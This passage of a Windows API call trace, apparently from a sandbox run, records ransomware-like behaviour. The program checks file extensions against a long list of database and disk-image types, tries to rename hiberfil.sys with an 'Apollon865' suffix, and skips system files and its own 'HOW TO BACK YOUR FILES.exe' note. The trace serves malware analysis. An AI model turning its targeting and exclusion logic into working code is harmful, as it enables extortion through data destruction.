	[0035.564] lstrcmpiW (lpString1="sys", lpString2="vdi") returned -1
	[0035.564] lstrlenW (lpString="vhd") returned 3
	[0035.564] lstrcmpiW (lpString1="sys", lpString2="vhd") returned -1
	[0035.564] lstrlenW (lpString="vhdx") returned 4
	[0035.564] lstrcmpiW (lpString1=".sys", lpString2="vhdx") returned -1
	[0035.564] lstrlenW (lpString="avhd") returned 4
	[0035.564] lstrcmpiW (lpString1=".sys", lpString2="avhd") returned -1
	[0035.564] lstrlenW (lpString="db") returned 2
	[0035.564] lstrcmpiW (lpString1="ys", lpString2="db") returned 1
	[0035.564] lstrlenW (lpString="db2") returned 3
	[0035.564] lstrcmpiW (lpString1="sys", lpString2="db2") returned 1
	[0035.564] lstrlenW (lpString="db3") returned 3
	[0035.564] lstrcmpiW (lpString1="sys", lpString2="db3") returned 1
	[0035.564] lstrlenW (lpString="dbf") returned 3
	[0035.564] lstrcmpiW (lpString1="sys", lpString2="dbf") returned 1
	[0035.564] lstrlenW (lpString="mdf") returned 3
	[0035.564] lstrcmpiW (lpString1="sys", lpString2="mdf") returned 1
	[0035.564] lstrlenW (lpString="mdb") returned 3
	[0035.564] lstrcmpiW (lpString1="sys", lpString2="mdb") returned 1
	[0035.564] lstrlenW (lpString="sql") returned 3
	[0035.564] lstrcmpiW (lpString1="sys", lpString2="sql") returned 1
	[0035.564] lstrlenW (lpString="sqlite") returned 6
	[0035.564] lstrcmpiW (lpString1="il.sys", lpString2="sqlite") returned -1
	[0035.564] lstrlenW (lpString="sqlite3") returned 7
	[0035.564] lstrcmpiW (lpString1="fil.sys", lpString2="sqlite3") returned -1
	[0035.564] lstrlenW (lpString="sqlitedb") returned 8
	[0035.564] lstrcmpiW (lpString1="rfil.sys", lpString2="sqlitedb") returned -1
	[0035.564] lstrlenW (lpString="xml") returned 3
	[0035.564] lstrcmpiW (lpString1="sys", lpString2="xml") returned -1
	[0035.564] lstrlenW (lpString="$er") returned 3
	[0035.564] lstrcmpiW (lpString1="sys", lpString2="$er") returned 1
	[0035.564] lstrlenW (lpString="4dd") returned 3
	[0035.564] lstrcmpiW (lpString1="sys", lpString2="4dd") returned 1
	[0035.564] lstrlenW (lpString="4dl") returned 3
	[0035.564] lstrcmpiW (lpString1="sys", lpString2="4dl") returned 1
	[0035.564] lstrlenW (lpString="^^^") returned 3
	[0035.564] lstrcmpiW (lpString1="sys", lpString2="^^^") returned 1
	[0035.564] lstrlenW (lpString="abs") returned 3
	[0035.564] lstrcmpiW (lpString1="sys", lpString2="abs") returned 1
	[0035.564] lstrlenW (lpString="abx") returned 3
	[0035.565] lstrcmpiW (lpString1="sys", lpString2="abx") returned 1
	[0035.565] lstrlenW (lpString="accdb") returned 5
	[0035.565] lstrcmpiW (lpString1="l.sys", lpString2="accdb") returned 1
	[0035.565] lstrlenW (lpString="accdc") returned 5
	[0035.565] lstrcmpiW (lpString1="l.sys", lpString2="accdc") returned 1
	[0035.565] lstrlenW (lpString="accde") returned 5
	[0035.565] lstrcmpiW (lpString1="l.sys", lpString2="accde") returned 1
	[0035.565] lstrlenW (lpString="accdr") returned 5
	[0035.565] lstrcmpiW (lpString1="l.sys", lpString2="accdr") returned 1
	[0035.565] lstrlenW (lpString="accdt") returned 5
	[0035.565] lstrcmpiW (lpString1="l.sys", lpString2="accdt") returned 1
	[0035.565] lstrlenW (lpString="accdw") returned 5
	[0035.565] lstrcmpiW (lpString1="l.sys", lpString2="accdw") returned 1
	[0035.565] lstrlenW (lpString="accft") returned 5
	[0035.565] lstrcmpiW (lpString1="l.sys", lpString2="accft") returned 1
	[0035.565] lstrlenW (lpString="adb") returned 3
	[0035.565] lstrcmpiW (lpString1="sys", lpString2="adb") returned 1
	[0035.565] lstrlenW (lpString="adb") returned 3
	[0035.565] lstrcmpiW (lpString1="sys", lpString2="adb") returned 1
	[0035.565] lstrlenW (lpString="ade") returned 3
	[0035.565] lstrcmpiW (lpString1="sys", lpString2="ade") returned 1
	[0035.565] lstrlenW (lpString="adf") returned 3
	[0035.565] lstrcmpiW (lpString1="sys", lpString2="adf") returned 1
	[0035.565] lstrlenW (lpString="adn") returned 3
	[0035.565] lstrcmpiW (lpString1="sys", lpString2="adn") returned 1
	[0035.565] lstrlenW (lpString="adp") returned 3
	[0035.565] lstrcmpiW (lpString1="sys", lpString2="adp") returned 1
	[0035.565] lstrlenW (lpString="alf") returned 3
	[0035.565] lstrcmpiW (lpString1="sys", lpString2="alf") returned 1
	[0035.565] lstrlenW (lpString="ask") returned 3
	[0035.565] lstrcmpiW (lpString1="sys", lpString2="ask") returned 1
	[0035.565] lstrlenW (lpString="btr") returned 3
	[0035.565] lstrcmpiW (lpString1="sys", lpString2="btr") returned 1
	[0035.565] lstrlenW (lpString="cat") returned 3
	[0035.565] lstrcmpiW (lpString1="sys", lpString2="cat") returned 1
	[0035.565] lstrlenW (lpString="cdb") returned 3
	[0035.565] lstrcmpiW (lpString1="sys", lpString2="cdb") returned 1
	[0035.565] lstrlenW (lpString="ckp") returned 3
	[0035.566] lstrcmpiW (lpString1="sys", lpString2="ckp") returned 1
	[0035.566] lstrlenW (lpString="cma") returned 3
	[0035.566] lstrcmpiW (lpString1="sys", lpString2="cma") returned 1
	[0035.566] lstrlenW (lpString="cpd") returned 3
	[0035.566] lstrcmpiW (lpString1="sys", lpString2="cpd") returned 1
	[0035.566] lstrlenW (lpString="dacpac") returned 6
	[0035.566] lstrcmpiW (lpString1="il.sys", lpString2="dacpac") returned 1
	[0035.566] lstrlenW (lpString="dad") returned 3
	[0035.566] lstrcmpiW (lpString1="sys", lpString2="dad") returned 1
	[0035.566] lstrlenW (lpString="dadiagrams") returned 10
	[0035.566] lstrcmpiW (lpString1="berfil.sys", lpString2="dadiagrams") returned -1
	[0035.566] lstrlenW (lpString="daschema") returned 8
	[0035.566] lstrcmpiW (lpString1="rfil.sys", lpString2="daschema") returned 1
	[0035.566] lstrlenW (lpString="db-journal") returned 10
	[0035.566] lstrcmpiW (lpString1="berfil.sys", lpString2="db-journal") returned -1
	[0035.566] lstrlenW (lpString="db-shm") returned 6
	[0035.566] lstrcmpiW (lpString1="il.sys", lpString2="db-shm") returned 1
	[0035.566] lstrlenW (lpString="db-wal") returned 6
	[0035.566] lstrcmpiW (lpString1="il.sys", lpString2="db-wal") returned 1
	[0035.566] lstrlenW (lpString="dbc") returned 3
	[0035.566] lstrcmpiW (lpString1="sys", lpString2="dbc") returned 1
	[0035.566] lstrlenW (lpString="dbs") returned 3
	[0035.566] lstrcmpiW (lpString1="sys", lpString2="dbs") returned 1
	[0035.566] lstrlenW (lpString="dbt") returned 3
	[0035.566] lstrcmpiW (lpString1="sys", lpString2="dbt") returned 1
	[0035.566] lstrlenW (lpString="dbv") returned 3
	[0035.566] lstrcmpiW (lpString1="sys", lpString2="dbv") returned 1
	[0035.566] lstrlenW (lpString="dbx") returned 3
	[0035.566] lstrcmpiW (lpString1="sys", lpString2="dbx") returned 1
	[0035.566] lstrlenW (lpString="dcb") returned 3
	[0035.566] lstrcmpiW (lpString1="sys", lpString2="dcb") returned 1
	[0035.566] lstrlenW (lpString="dct") returned 3
	[0035.566] lstrcmpiW (lpString1="sys", lpString2="dct") returned 1
	[0035.566] lstrlenW (lpString="dcx") returned 3
	[0035.566] lstrcmpiW (lpString1="sys", lpString2="dcx") returned 1
	[0035.566] lstrlenW (lpString="ddl") returned 3
	[0035.566] lstrcmpiW (lpString1="sys", lpString2="ddl") returned 1
	[0035.566] lstrlenW (lpString="dlis") returned 4
	[0035.566] lstrcmpiW (lpString1=".sys", lpString2="dlis") returned -1
	[0035.567] lstrlenW (lpString="dp1") returned 3
	[0035.567] lstrcmpiW (lpString1="sys", lpString2="dp1") returned 1
	[0035.567] lstrlenW (lpString="dqy") returned 3
	[0035.567] lstrcmpiW (lpString1="sys", lpString2="dqy") returned 1
	[0035.567] lstrlenW (lpString="dsk") returned 3
	[0035.567] lstrcmpiW (lpString1="sys", lpString2="dsk") returned 1
	[0035.567] lstrlenW (lpString="dsn") returned 3
	[0035.567] lstrcmpiW (lpString1="sys", lpString2="dsn") returned 1
	[0035.567] lstrlenW (lpString="dtsx") returned 4
	[0035.567] lstrcmpiW (lpString1=".sys", lpString2="dtsx") returned -1
	[0035.567] lstrlenW (lpString="dxl") returned 3
	[0035.567] lstrcmpiW (lpString1="sys", lpString2="dxl") returned 1
	[0035.567] lstrlenW (lpString="eco") returned 3
	[0035.567] lstrcmpiW (lpString1="sys", lpString2="eco") returned 1
	[0035.567] lstrlenW (lpString="ecx") returned 3
	[0035.567] lstrcmpiW (lpString1="sys", lpString2="ecx") returned 1
	[0035.567] lstrlenW (lpString="edb") returned 3
	[0035.567] lstrcmpiW (lpString1="sys", lpString2="edb") returned 1
	[0035.567] lstrlenW (lpString="epim") returned 4
	[0035.567] lstrcmpiW (lpString1=".sys", lpString2="epim") returned -1
	[0035.567] lstrlenW (lpString="fcd") returned 3
	[0035.567] lstrcmpiW (lpString1="sys", lpString2="fcd") returned 1
	[0035.567] lstrlenW (lpString="fdb") returned 3
	[0035.567] lstrcmpiW (lpString1="sys", lpString2="fdb") returned 1
	[0035.567] lstrlenW (lpString="fic") returned 3
	[0035.567] lstrcmpiW (lpString1="sys", lpString2="fic") returned 1
	[0035.567] lstrlenW (lpString="flexolibrary") returned 12
	[0035.567] lstrlenW (lpString="fm5") returned 3
	[0035.567] lstrcmpiW (lpString1="sys", lpString2="fm5") returned 1
	[0035.567] lstrlenW (lpString="fmp") returned 3
	[0035.567] lstrcmpiW (lpString1="sys", lpString2="fmp") returned 1
	[0035.567] lstrlenW (lpString="fmp12") returned 5
	[0035.567] lstrcmpiW (lpString1="l.sys", lpString2="fmp12") returned 1
	[0035.567] lstrlenW (lpString="fmpsl") returned 5
	[0035.567] lstrcmpiW (lpString1="l.sys", lpString2="fmpsl") returned 1
	[0035.567] lstrlenW (lpString="fol") returned 3
	[0035.567] lstrcmpiW (lpString1="sys", lpString2="fol") returned 1
	[0035.567] lstrlenW (lpString="fp3") returned 3
	[0035.567] lstrcmpiW (lpString1="sys", lpString2="fp3") returned 1
	[0035.567] lstrlenW (lpString="fp4") returned 3
	[0035.568] lstrcmpiW (lpString1="sys", lpString2="fp4") returned 1
	[0035.568] lstrlenW (lpString="fp5") returned 3
	[0035.568] lstrcmpiW (lpString1="sys", lpString2="fp5") returned 1
	[0035.568] lstrlenW (lpString="fp7") returned 3
	[0035.568] lstrcmpiW (lpString1="sys", lpString2="fp7") returned 1
	[0035.568] lstrlenW (lpString="fpt") returned 3
	[0035.568] lstrcmpiW (lpString1="sys", lpString2="fpt") returned 1
	[0035.568] lstrlenW (lpString="frm") returned 3
	[0035.568] lstrcmpiW (lpString1="sys", lpString2="frm") returned 1
	[0035.568] lstrlenW (lpString="gdb") returned 3
	[0035.568] lstrcmpiW (lpString1="sys", lpString2="gdb") returned 1
	[0035.568] lstrlenW (lpString="gdb") returned 3
	[0035.568] lstrcmpiW (lpString1="sys", lpString2="gdb") returned 1
	[0035.568] lstrlenW (lpString="grdb") returned 4
	[0035.568] lstrcmpiW (lpString1=".sys", lpString2="grdb") returned -1
	[0035.568] lstrlenW (lpString="gwi") returned 3
	[0035.568] lstrcmpiW (lpString1="sys", lpString2="gwi") returned 1
	[0035.568] lstrlenW (lpString="hdb") returned 3
	[0035.568] lstrcmpiW (lpString1="sys", lpString2="hdb") returned 1
	[0035.568] lstrlenW (lpString="his") returned 3
	[0035.568] lstrcmpiW (lpString1="sys", lpString2="his") returned 1
	[0035.568] lstrlenW (lpString="ib") returned 2
	[0035.568] lstrcmpiW (lpString1="ys", lpString2="ib") returned 1
	[0035.568] lstrlenW (lpString="idb") returned 3
	[0035.568] lstrcmpiW (lpString1="sys", lpString2="idb") returned 1
	[0035.568] lstrlenW (lpString="ihx") returned 3
	[0035.568] lstrcmpiW (lpString1="sys", lpString2="ihx") returned 1
	[0035.568] lstrlenW (lpString="itdb") returned 4
	[0035.568] lstrcmpiW (lpString1=".sys", lpString2="itdb") returned -1
	[0035.568] lstrlenW (lpString="itw") returned 3
	[0035.568] lstrcmpiW (lpString1="sys", lpString2="itw") returned 1
	[0035.568] lstrlenW (lpString="jet") returned 3
	[0035.568] lstrcmpiW (lpString1="sys", lpString2="jet") returned 1
	[0035.568] lstrlenW (lpString="jtx") returned 3
	[0035.568] lstrcmpiW (lpString1="sys", lpString2="jtx") returned 1
	[0035.568] lstrlenW (lpString="kdb") returned 3
	[0035.568] lstrcmpiW (lpString1="sys", lpString2="kdb") returned 1
	[0035.568] lstrlenW (lpString="kexi") returned 4
	[0035.568] lstrcmpiW (lpString1=".sys", lpString2="kexi") returned -1
	[0035.568] lstrlenW (lpString="kexic") returned 5
	[0035.569] lstrcmpiW (lpString1="l.sys", lpString2="kexic") returned 1
	[0035.569] lstrlenW (lpString="kexis") returned 5
	[0035.569] lstrcmpiW (lpString1="l.sys", lpString2="kexis") returned 1
	[0035.569] lstrlenW (lpString="lgc") returned 3
	[0035.569] lstrcmpiW (lpString1="sys", lpString2="lgc") returned 1
	[0035.569] lstrlenW (lpString="lwx") returned 3
	[0035.569] lstrcmpiW (lpString1="sys", lpString2="lwx") returned 1
	[0035.569] lstrlenW (lpString="maf") returned 3
	[0035.569] lstrcmpiW (lpString1="sys", lpString2="maf") returned 1
	[0035.569] lstrlenW (lpString="maq") returned 3
	[0035.569] lstrcmpiW (lpString1="sys", lpString2="maq") returned 1
	[0035.569] lstrlenW (lpString="mar") returned 3
	[0035.569] lstrcmpiW (lpString1="sys", lpString2="mar") returned 1
	[0035.569] lstrlenW (lpString="marshal") returned 7
	[0035.569] lstrcmpiW (lpString1="fil.sys", lpString2="marshal") returned -1
	[0035.569] lstrlenW (lpString="mas") returned 3
	[0035.569] lstrcmpiW (lpString1="sys", lpString2="mas") returned 1
	[0035.569] lstrlenW (lpString="mav") returned 3
	[0035.569] lstrcmpiW (lpString1="sys", lpString2="mav") returned 1
	[0035.569] lstrlenW (lpString="maw") returned 3
	[0035.569] lstrcmpiW (lpString1="sys", lpString2="maw") returned 1
	[0035.569] lstrlenW (lpString="mdbhtml") returned 7
	[0035.569] lstrcmpiW (lpString1="fil.sys", lpString2="mdbhtml") returned -1
	[0035.569] lstrlenW (lpString="mdn") returned 3
	[0035.569] lstrcmpiW (lpString1="sys", lpString2="mdn") returned 1
	[0035.569] lstrlenW (lpString="mdt") returned 3
	[0035.569] lstrcmpiW (lpString1="sys", lpString2="mdt") returned 1
	[0035.569] lstrlenW (lpString="mfd") returned 3
	[0035.569] lstrcmpiW (lpString1="sys", lpString2="mfd") returned 1
	[0035.569] lstrlenW (lpString="mpd") returned 3
	[0035.569] lstrcmpiW (lpString1="sys", lpString2="mpd") returned 1
	[0035.569] lstrlenW (lpString="mrg") returned 3
	[0035.569] lstrcmpiW (lpString1="sys", lpString2="mrg") returned 1
	[0035.569] lstrlenW (lpString="mud") returned 3
	[0035.569] lstrcmpiW (lpString1="sys", lpString2="mud") returned 1
	[0035.569] lstrlenW (lpString="mwb") returned 3
	[0035.569] lstrcmpiW (lpString1="sys", lpString2="mwb") returned 1
	[0035.569] lstrlenW (lpString="myd") returned 3
	[0035.569] lstrcmpiW (lpString1="sys", lpString2="myd") returned 1
	[0035.570] lstrlenW (lpString="ndf") returned 3
	[0035.570] lstrcmpiW (lpString1="sys", lpString2="ndf") returned 1
	[0035.570] lstrlenW (lpString="nnt") returned 3
	[0035.570] lstrcmpiW (lpString1="sys", lpString2="nnt") returned 1
	[0035.570] lstrlenW (lpString="nrmlib") returned 6
	[0035.570] lstrcmpiW (lpString1="il.sys", lpString2="nrmlib") returned -1
	[0035.570] lstrlenW (lpString="ns2") returned 3
	[0035.570] lstrcmpiW (lpString1="sys", lpString2="ns2") returned 1
	[0035.570] lstrlenW (lpString="ns3") returned 3
	[0035.570] lstrcmpiW (lpString1="sys", lpString2="ns3") returned 1
	[0035.570] lstrlenW (lpString="ns4") returned 3
	[0035.570] lstrcmpiW (lpString1="sys", lpString2="ns4") returned 1
	[0035.570] lstrlenW (lpString="nsf") returned 3
	[0035.570] lstrcmpiW (lpString1="sys", lpString2="nsf") returned 1
	[0035.570] lstrlenW (lpString="nv") returned 2
	[0035.570] lstrcmpiW (lpString1="ys", lpString2="nv") returned 1
	[0035.570] lstrlenW (lpString="nv2") returned 3
	[0035.570] lstrcmpiW (lpString1="sys", lpString2="nv2") returned 1
	[0035.570] lstrlenW (lpString="nwdb") returned 4
	[0035.570] lstrcmpiW (lpString1=".sys", lpString2="nwdb") returned -1
	[0035.570] lstrlenW (lpString="nyf") returned 3
	[0035.570] lstrcmpiW (lpString1="sys", lpString2="nyf") returned 1
	[0035.570] lstrlenW (lpString="odb") returned 3
	[0035.570] lstrcmpiW (lpString1="sys", lpString2="odb") returned 1
	[0035.570] lstrlenW (lpString="odb") returned 3
	[0035.570] lstrcmpiW (lpString1="sys", lpString2="odb") returned 1
	[0035.570] lstrlenW (lpString="oqy") returned 3
	[0035.570] lstrcmpiW (lpString1="sys", lpString2="oqy") returned 1
	[0035.570] lstrlenW (lpString="ora") returned 3
	[0035.570] lstrcmpiW (lpString1="sys", lpString2="ora") returned 1
	[0035.570] lstrlenW (lpString="orx") returned 3
	[0035.570] lstrcmpiW (lpString1="sys", lpString2="orx") returned 1
	[0035.570] lstrlenW (lpString="owc") returned 3
	[0035.570] lstrcmpiW (lpString1="sys", lpString2="owc") returned 1
	[0035.570] lstrlenW (lpString="p96") returned 3
	[0035.570] lstrcmpiW (lpString1="sys", lpString2="p96") returned 1
	[0035.570] lstrlenW (lpString="p97") returned 3
	[0035.570] lstrcmpiW (lpString1="sys", lpString2="p97") returned 1
	[0035.570] lstrlenW (lpString="pan") returned 3
	[0035.571] lstrcmpiW (lpString1="sys", lpString2="pan") returned 1
	[0035.571] lstrlenW (lpString="pdb") returned 3
	[0035.571] lstrcmpiW (lpString1="sys", lpString2="pdb") returned 1
	[0035.571] lstrlenW (lpString="pdm") returned 3
	[0035.571] lstrcmpiW (lpString1="sys", lpString2="pdm") returned 1
	[0035.571] lstrlenW (lpString="pnz") returned 3
	[0035.571] lstrcmpiW (lpString1="sys", lpString2="pnz") returned 1
	[0035.571] lstrlenW (lpString="qry") returned 3
	[0035.571] lstrcmpiW (lpString1="sys", lpString2="qry") returned 1
	[0035.571] lstrlenW (lpString="qvd") returned 3
	[0035.571] lstrcmpiW (lpString1="sys", lpString2="qvd") returned 1
	[0035.571] lstrlenW (lpString="rbf") returned 3
	[0035.571] lstrcmpiW (lpString1="sys", lpString2="rbf") returned 1
	[0035.571] lstrlenW (lpString="rctd") returned 4
	[0035.571] lstrcmpiW (lpString1=".sys", lpString2="rctd") returned -1
	[0035.571] lstrlenW (lpString="rod") returned 3
	[0035.571] lstrcmpiW (lpString1="sys", lpString2="rod") returned 1
	[0035.571] lstrlenW (lpString="rodx") returned 4
	[0035.571] lstrcmpiW (lpString1=".sys", lpString2="rodx") returned -1
	[0035.571] lstrlenW (lpString="rpd") returned 3
	[0035.571] lstrcmpiW (lpString1="sys", lpString2="rpd") returned 1
	[0035.571] lstrlenW (lpString="rsd") returned 3
	[0035.571] lstrcmpiW (lpString1="sys", lpString2="rsd") returned 1
	[0035.571] lstrlenW (lpString="sas7bdat") returned 8
	[0035.571] lstrcmpiW (lpString1="rfil.sys", lpString2="sas7bdat") returned -1
	[0035.571] lstrlenW (lpString="sbf") returned 3
	[0035.571] lstrcmpiW (lpString1="sys", lpString2="sbf") returned 1
	[0035.571] lstrlenW (lpString="scx") returned 3
	[0035.571] lstrcmpiW (lpString1="sys", lpString2="scx") returned 1
	[0035.571] lstrlenW (lpString="sdb") returned 3
	[0035.571] lstrcmpiW (lpString1="sys", lpString2="sdb") returned 1
	[0035.571] lstrlenW (lpString="sdc") returned 3
	[0035.571] lstrcmpiW (lpString1="sys", lpString2="sdc") returned 1
	[0035.571] lstrlenW (lpString="sdf") returned 3
	[0035.571] lstrcmpiW (lpString1="sys", lpString2="sdf") returned 1
	[0035.571] lstrlenW (lpString="sis") returned 3
	[0035.571] lstrcmpiW (lpString1="sys", lpString2="sis") returned 1
	[0035.571] lstrlenW (lpString="spq") returned 3
	[0035.571] lstrcmpiW (lpString1="sys", lpString2="spq") returned 1
	[0035.571] lstrlenW (lpString="te") returned 2
	[0035.571] lstrcmpiW (lpString1="ys", lpString2="te") returned 1
	[0035.572] lstrlenW (lpString="teacher") returned 7
	[0035.572] lstrcmpiW (lpString1="fil.sys", lpString2="teacher") returned -1
	[0035.572] lstrlenW (lpString="tmd") returned 3
	[0035.572] lstrcmpiW (lpString1="sys", lpString2="tmd") returned -1
	[0035.572] lstrlenW (lpString="tps") returned 3
	[0035.572] lstrcmpiW (lpString1="sys", lpString2="tps") returned -1
	[0035.572] lstrlenW (lpString="trc") returned 3
	[0035.572] lstrcmpiW (lpString1="sys", lpString2="trc") returned -1
	[0035.572] lstrlenW (lpString="trc") returned 3
	[0035.572] lstrcmpiW (lpString1="sys", lpString2="trc") returned -1
	[0035.572] lstrlenW (lpString="trm") returned 3
	[0035.572] lstrcmpiW (lpString1="sys", lpString2="trm") returned -1
	[0035.572] lstrlenW (lpString="udb") returned 3
	[0035.572] lstrcmpiW (lpString1="sys", lpString2="udb") returned -1
	[0035.572] lstrlenW (lpString="udl") returned 3
	[0035.572] lstrcmpiW (lpString1="sys", lpString2="udl") returned -1
	[0035.572] lstrlenW (lpString="usr") returned 3
	[0035.572] lstrcmpiW (lpString1="sys", lpString2="usr") returned -1
	[0035.572] lstrlenW (lpString="v12") returned 3
	[0035.572] lstrcmpiW (lpString1="sys", lpString2="v12") returned -1
	[0035.572] lstrlenW (lpString="vis") returned 3
	[0035.572] lstrcmpiW (lpString1="sys", lpString2="vis") returned -1
	[0035.572] lstrlenW (lpString="vpd") returned 3
	[0035.572] lstrcmpiW (lpString1="sys", lpString2="vpd") returned -1
	[0035.572] lstrlenW (lpString="vvv") returned 3
	[0035.572] lstrcmpiW (lpString1="sys", lpString2="vvv") returned -1
	[0035.572] lstrlenW (lpString="wdb") returned 3
	[0035.572] lstrcmpiW (lpString1="sys", lpString2="wdb") returned -1
	[0035.572] lstrlenW (lpString="wmdb") returned 4
	[0035.572] lstrcmpiW (lpString1=".sys", lpString2="wmdb") returned -1
	[0035.572] lstrlenW (lpString="wrk") returned 3
	[0035.572] lstrcmpiW (lpString1="sys", lpString2="wrk") returned -1
	[0035.572] lstrlenW (lpString="xdb") returned 3
	[0035.572] lstrcmpiW (lpString1="sys", lpString2="xdb") returned -1
	[0035.572] lstrlenW (lpString="xld") returned 3
	[0035.572] lstrcmpiW (lpString1="sys", lpString2="xld") returned -1
	[0035.572] lstrlenW (lpString="xmlff") returned 5
	[0035.572] lstrcmpiW (lpString1="l.sys", lpString2="xmlff") returned -1
	[0035.572] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\hiberfil.sys.Apollon865") returned 26
	[0035.572] MoveFileExW (lpExistingFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), lpNewFileName="C:\\hiberfil.sys.Apollon865" (normalized: "c:\\hiberfil.sys.apollon865"), dwFlags=0x1) returned 0
	[0035.573] GetLastError () returned 0x20
	[0035.573] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\hiberfil.sys MoveFileEx error 32\r\n") returned 45
	[0035.573] lstrlenA (lpString="[ERROR] C:\\hiberfil.sys MoveFileEx error 32\r\n") returned 45
	[0035.573] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xbc
	[0035.573] SetFilePointer (in: hFile=0xbc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x41b
	[0035.573] WriteFile (in: hFile=0xbc, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x2d, lpOverlapped=0x0) returned 1
	[0035.573] CloseHandle (hObject=0xbc) returned 1
	[0035.574] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0035.574] CloseHandle (hObject=0x0) returned 0
	[0035.574] CloseHandle (hObject=0x0) returned 0
	[0035.574] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d7b9130, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2d7b9130, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0035.574] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0035.574] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1
	[0035.574] lstrcmpiW (lpString1="MSOCache", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.574] lstrcmpiW (lpString1="MSOCache", lpString2="Apollon865.txt.exe") returned 1
	[0035.574] lstrcmpiW (lpString1="MSOCache", lpString2=".") returned 1
	[0035.574] lstrcmpiW (lpString1="MSOCache", lpString2="..") returned 1
	[0035.574] lstrcmpiW (lpString1="MSOCache", lpString2="windows") returned -1
	[0035.574] lstrcmpiW (lpString1="MSOCache", lpString2="bootmgr") returned 1
	[0035.574] lstrcmpiW (lpString1="MSOCache", lpString2="temp") returned -1
	[0035.574] lstrcmpiW (lpString1="MSOCache", lpString2="pagefile.sys") returned -1
	[0035.574] lstrcmpiW (lpString1="MSOCache", lpString2="boot") returned 1
	[0035.574] lstrcmpiW (lpString1="MSOCache", lpString2="ids.txt") returned 1
	[0035.574] lstrcmpiW (lpString1="MSOCache", lpString2="ntuser.dat") returned -1
	[0035.574] lstrcmpiW (lpString1="MSOCache", lpString2="perflogs") returned -1
	[0035.575] lstrcmpiW (lpString1="MSOCache", lpString2="MSBuild") returned 1
	[0035.575] lstrlenW (lpString="MSOCache") returned 8
	[0035.575] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0035.575] lstrcpyW (in: lpString1=0x119e60e, lpString2="MSOCache" | out: lpString1="MSOCache") returned="MSOCache"
	[0035.575] SetFileAttributesW (lpFileName="C:\\MSOCache", dwFileAttributes=0x2012) returned 1
	[0035.575] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7748
	[0035.575] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x18) returned 0x5b7768
	[0035.575] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7750 | out: ListHead=0x5b75f0, ListEntry=0x5b7750) returned 0x5b7730
	[0035.575] FindNextFileW (in: hFindFile=0x5ca010, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x814762c0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1
	[0035.575] lstrcmpiW (lpString1="pagefile.sys", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.575] lstrcmpiW (lpString1="pagefile.sys", lpString2="Apollon865.txt.exe") returned 1
	[0035.575] lstrcmpiW (lpString1="pagefile.sys", lpString2=".") returned 1
	[0035.575] lstrcmpiW (lpString1="pagefile.sys", lpString2="..") returned 1
	[0035.575] lstrcmpiW (lpString1="pagefile.sys", lpString2="windows") returned -1
	[0035.575] lstrcmpiW (lpString1="pagefile.sys", lpString2="bootmgr") returned 1
	[0035.575] lstrcmpiW (lpString1="pagefile.sys", lpString2="temp") returned -1
	[0035.575] lstrcmpiW (lpString1="pagefile.sys", lpString2="pagefile.sys") returned 0
